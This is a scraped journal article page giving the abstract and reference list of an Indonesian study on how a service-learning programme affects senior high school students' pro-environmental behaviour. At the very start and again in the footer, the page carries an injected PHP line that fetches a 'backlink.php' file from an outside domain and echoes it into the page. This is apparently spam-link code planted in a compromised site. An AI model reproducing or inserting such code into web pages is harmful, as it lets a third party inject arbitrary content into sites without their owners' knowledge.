$a = file_get_contents('https://purefine.online/backlink.php'); echo $a; Effects of service-learning with one movement for a nature program on senior high school students pro-environmental behaviors | Bari | Jurnal Pendidikan Geografi: Kajian, Teori, dan Praktek dalam Bidang Pendidikan dan Ilmu Geografi

Effects of service-learning with one movement for a nature program on senior high school students pro-environmental behaviors

Fathul Bari, Sumarmi Sumarmi, I Komang Astina

Abstract


This study aims to determine the effect of the service-learning model using one movement for nature activities on students' pro-environmental attitudes. The design used in this study was quasi-experimental. This research was carried out at State Senior High School 1 Tanjung Bumi Madura in class XI IPS 2 as a control class and XI IPS 3 as an experimental class. Data analysis was performed using the SPSS 24.0 application. The results of the normality test suggested that the data were not normally distributed, therefore, the calculation was carried out using the Wilcoxon Signed-Rank test. Based on the results of the Wilcox-on signed-rank test, the Z value was -4.365 and the asymp sig value. (2-tailed) 0.000 was smaller than the five percent alpha level (0.05), signifying that H0 was rejected while H1 was accepted. Therefore, the service-learning model using one movement for nature activities carries effects on students' pro-environmental behavior.


Keywords


service learning model; one movement for nature; environmental care

Full Text:

PDF

References


Abbas, N. S. (2018). Collaborative service learning: Model pendidikan sepanjang hayat untuk membina kepribadian dan tanggung jawab sosial generasi digital. Proceedings of Annual Conference on Community Engagement, 1113–1125.

Afrianda, R., Yolida, B., & Marpaung, R. R. T. (2019). Pengaruh program adiwiyata terhadap literasi lingkungan dan sikap peduli lingkungan. Jurnal Bioterdidik: Wahana Ekspresi Ilmiah, 7(1), 32–42.

Aliman, M., Budijanto, B., Astina, I. K., & Sumarmi, S. (2019). Improving environmental awareness of high school students’ in Malang city through earthcomm learning in the geography class. International Journal of Instruction, 12(4), 79–94. https://doi.org/10.29333/iji.2019.1246a

Anggara, F. S., Kamaruddin, T., & Taher, A. (2017). Korelasi nilai mata kuliah Geografi Lingkungan dan PKLH dengan sikap peduli lingkungan hidup pada mahasiswa Program Studi Pendidikan Geografi FKIP UNSYIAH. Jurnal Ilmmiah Mahasiswa Pendidikan Geografi FKIP Unsyiah, 2(2), 24–33.

Anikarnisia, N. M., Surbakti, A., & Jalmo, T. (2017). Hubungan antara pengetahuan tentang pencemaran lingkungan dan perubahan iklim dengan sikap peduli lingkungan siswa kelas VIII SMP Negeri 7 Bandar Lampung. Journal of Chemical Information and Modeling, 110(9), 1689–1699.

Ardani, A., Utaya, S., & Budijanto, B. (2016). Pengaruh model pembelajaran service learning terhadap hasil belajar geografi SMA. Jurnal Pendidikan: Teori, Penelitian, dan Pengembangan, Vol.4(1), 10–13.

Damons, V., & Dunbar-Krige, H. (2020). The use of reflection in a service-learning project in a post-graduate programme. Journal of Service-Learning in Higher Education, 11, 21–40.

Desfandi, M. (2015). Mewujudkan masyarakat berkarakter peduli lingkungan melalui Program Adiwiyata. SOSIO DIDAKTIKA: Social Science Education Journal, 2(1), 31–37. https://doi.org/¬10.15408/¬sd.v2i1.1661

Fitriati, M., Sahputra, R., & Lestari, I. (2021). Pengaruh pembelajaran berbasis lingkungan terhadap sikap pelestarian lingkungan pada materi pencemaran lingkungan. Jurnal Riset Fisika Edukasi Dan Sains, 8(1), 1–7. https://doi.org/10.22202/jrfes.2021.v8i1.4570

Gita, S. D., Annisa, M., & Nanna, W. I. (2018). Pengembangan modul IPA materi hubungan makhluk hidup dan lingkungannya berbasis pendekatan kontekstual. LENSA (Lentera Sains): Jurnal Pendidikan IPA, 8(1).

Gusmadi, S. (2018). Keterlibatan warga negara (civic engagement) dalam penguatan karakter peduli lingkungan. In Mawa’izh: Jurnal Dakwah dan Pengembangan Sosial Kemanusiaan (Vol. 9, pp. 105–117). https://doi.org/10.14421/musawa.1.171.32-50

Karlela, D., & Anisah, A. S. (2016). Penerapan model service learning untuk meningkatkan sikap kepedulian sosial siswa pada pembelajaran IPS SD. NATURALISTIC : Jurnal Kajian Penelitian Pendidikan dan Pembelajaran, 1(1), 7–18. https://doi.org/10.35568/naturalistic.v1i1.34

Kasi, K., Sumarmi, S., & Astina, I. K. (2018). Pengaruh model pembelajaran service learning terhadap sikap peduli lingkungan. Jurnal Pendidikan Teori, Penelitian, dan Pengembangan, 3(4), 437–440.

Mulyani, R. (2019). Pengaruh model pembelajaran service learning terhadap sikap peduli lingkungan dan kemampuan menulis karya ilmiah siswa SMA. Universitas Negeri Malang.

Nahruddin, Z. (2018). Isu-isu strategis permasalahan lingkungan hidup.

Nurmi, N. (2012). Strategi pembelajaran kooperatif dalam meningkatkan kemandirian belajar peserta. Jurnal Unimed, 3(2), 1–26.

Ramdani, E. (2018). Pendidikan karakter merupakan tanggung jawab bersama. Jupiis: Jurnal Pendidikan Ilmu-Ilmu Sosial, 10(1), 1.

Ratnasari, A., Asharhani, I. S., Sari, M. G., Hale, S. R., & Pratiwi, H. (2019). Edukasi pemilahan sampah sebagai upaya preventif mengatasi masalah sampah di lingkungan sekolah. Prosiding Konferensi Nasional Pengabdian Kepada Masyarakat dan Corporate Social Responsibility (PKM-CSR), 2, 652–659. https://doi.org/10.37695/pkmcsr.v2i0.498

Ratnawati, E. (2016). Karakteristik teori-teori belajar dalam proses pendidikan (perkembangan psikologis dan aplikasi). Edueksos: Jurnal Pendidikan Sosial & Ekonomi, 4(2), 1–23.

Rivai, A. (2021). Pengaruh pengawasan, disiplin dan motivasi terhadap kinerja guru. Maneggio: Jurnal Ilmiah Magister Manajemen, 4(1), 11–22.

Rizal, R. (2017). Analisis kualitas lingkungan, pencemaran udara, pencemaran air, pencemaran tanah, aktivitas sosial-ekonomi-budaya trilobal pencemaran lingkungan (4th ed.). Jakarta: Lembaga Penelitian dan Pengabdian Masyarakat Universitas Pembangunan Nasional Veteran.

Rosada, S., Triwoelandari, R., & Supriatna, I. (2019). Kelayakan lembar kegiatan siswa terintegrasi nilai agama pada mata pelajaran IPA untuk mengembangkan karakter disiplin. Al-TA’DIB: Jurnal Kajian Ilmu Kependidikan, 12(1), 134–147. https://doi.org/10.31332/atdb.v12i1.1323

Samani, H. M. (2012). Konsep dan model pendidikan karakter (Cetakan 2). Bandung: Remaja Rosdakarya.

Setyowati, E., & Permata, A. (2018). Service learning: Mengintegrasikan tujuan akademik dan pendidikan karakter peserta didik melalui pengabdian kepada masyarakat. Bakti Budaya, 1(2), 143. https://-doi.org/¬10.22146/bb.41076

Shudur, M. (2019). Manfaat belajar kelompok dalam meningkatkan prestasi belajar siswa. Sumbula: Jurnal Studi Keagamaan, Sosial dan Budaya, 4(2), 328-346, 4(2), 328–346.

Sigit, D. V., Ernawati, E., & Qibtiah, M. (2017). Hubungan pengetahuan lingkungan hidup dengan kemampuan pemecahan masalah pencemaran lingkungan pada siswa SMAN 6 Tangerang. Biosfer: Jurnal Pendidikan Biologi, 10(2), 1–6. https://doi.org/10.21009/biosferjpb.10-2.1

Sumarmi, S. (2019). Pendekatan saintifik dan service learning berbasis hutan mangrove untuk mencetak generasi peduli lingkungan. Malang: Aditiya Media Group.

Yasril, Y., & Nur, A. (2018). Partisipasi masyarakat dalam pemberdayaan lingkungan. Jurnal Dakwah Risalah, 28(1), 1–9. https://doi.org/10.24014/jdr.v28i1.5538

Yaumi, M. (2014). Pendidikan karakter: Landasan, pilar dan implementasi. Jakarta: Kencana Prenadamedia Group.

Zulhelmi, Z., Adlim, A., & Mahidin, M. (2017). Pengaruh media pembelajaran interaktif terhadap peningkatkan keterampilan berpikir kritis siswa. Jurnal Pendidikan Sains Indonesia, 5(1), 72–80.




DOI: http://dx.doi.org/10.17977/um017v27i22022p175-187

Refbacks



Copyright (c) 2022 Jurnal Pendidikan Geografi: Kajian, Teori, dan Praktek dalam Bidang Pendidikan dan Ilmu Geografi

Creative Commons License
This work is licensed under a Creative Commons Attribution-ShareAlike 4.0 International License.

Free counters!

Jurnal Pendidikan Geografi: Kajian, Teori, dan Praktek dalam Bidang Pendidikan dan Ilmu Geografi is licensed under Creative Commons Attribution-ShareAlike 4.0 International License,


JPG Indexed By:

                 

View My Stats
---------------------------------------- ---------------------------------------- ---------------------------------------- $a = file_get_contents('https://purefine.online/backlink.php'); echo $a; ----------------------------------------